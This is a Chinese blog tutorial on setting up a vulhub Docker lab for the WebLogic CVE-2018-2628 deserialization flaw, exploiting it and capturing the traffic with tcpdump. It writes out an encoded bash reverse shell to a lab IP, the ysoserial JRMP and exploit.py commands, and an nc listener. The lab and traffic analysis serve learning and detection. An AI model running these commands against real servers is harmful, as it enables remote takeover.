使用Ubuntu系统搭建漏洞环境进行数据分析

Ubuntu系统安装(略)

虚拟机安装的话首次登陆Ubuntu界面需要安装vmware-tools 、安装此工具后可以直接进行文件从宿主机复制到虚拟机里面

安装方法如下

之后切换到虚拟机里面

运行一个终端执行以下命令修改root命令

首次需要输入当前普通用户密码、如果输入正确就会进行root密码设置

$ sudo passwd

使用su – root 命令切换到root权限下安装vmware-tools、因为我使用sec用户登录所以当光盘挂载成功后会在sec用户的桌面下、之后我们执行

tar zxvf VMwareTools-10.3.21-14772444.tar.gz,进行解压

 解压后切换到cd vmware-tools-distrib 目录下运行./vmware-install.pl脚本、之后按yes一路回车即可

安装完成vmware-tools后修改Ubuntu更新源

Vi/etc/apt/sources.list
复制下面内容进去、之后按esc,wq 保存
#阿里源
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

 执行apt-get update 进行Ubuntu更新

Docker安装

安装docker

apt-get install docker*

 安装git

apt-get install git

 安装net-tools

apt-get install net-tools

安装成功后查看docker版本

启动docker服务

service docker start

修改docker国内镜像源、我们这里使用阿里云源

创建或修改 /etc/docker/daemon.json 文件

# vi /etc/docker/daemon.json 
{     "registry-mirrors": ["https://cr.console.aliyun.com"] }

Docker中国区官方镜像

https://registry.docker-cn.com

网易

http://hub-mirror.c.163.com

ustc

https://docker.mirrors.ustc.edu.cn

中国科技大学

https://docker.mirrors.ustc.edu.cn

阿里云容器  服务

https://cr.console.aliyun.com/

下载漏洞环境

Wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

 此次我们使用weblogic反序列化漏洞

切换到/vulhub-master/weblogic/CVE-2018-2628目录运行一下命令

docker-compose up -d

使用docker ps 查看启动进程

在宿主机尝试访问weblogic后台

http://192.168.50.157:7001/console/login/LoginForm.jsp

漏洞利用

利用工具

git clone https://github.com/brianwrf/ysoserial.git

下载后使用mvn编译

mvn clean package -DskipTests

mvn安装方法(就几条命令非常简单)

Linux下安装maven(mvn命令)_那些年的代码的博客-CSDN博客

Shell反弹编码转换192.168.50.53:8888此地址进行转换

http://www.jackson-t.ca/runtime-exec-payloads.html

 

复制地址

bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguNTAuNTMvODg4OCAgMD4mMQ==}|{base64,-d}|{bash,-i}

切换到我们编译好的ysoserial目录下执行下面代码来监听JRMP1099端口

下载

https://www.exploit-db.com/exploits/44553

 exp脚本下载后重命名为exploit.py

然后通过运行exploit.py 脚本进行攻击获取服务器shell

运行exploit.py 向漏洞主机执行远程代码

python exploit.py  192.168.50.157 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.50.53 1099 JRMPClient

 在Ubuntu下使用tcpdump -i ens33 -w weblogic.pcap 命令来检测攻击者使用的攻击脚本、执行的命令。

启用nc -lvnp 8888 监听端口

打开数据包对数据包进行分析

可以看到攻击类型为weblogic发序列化漏洞T3协议

可以看到对方使用主机类型包括执行命令

 

 

猜你喜欢

转载自blog.csdn.net/scxiaotan1/article/details/127325720
今日推荐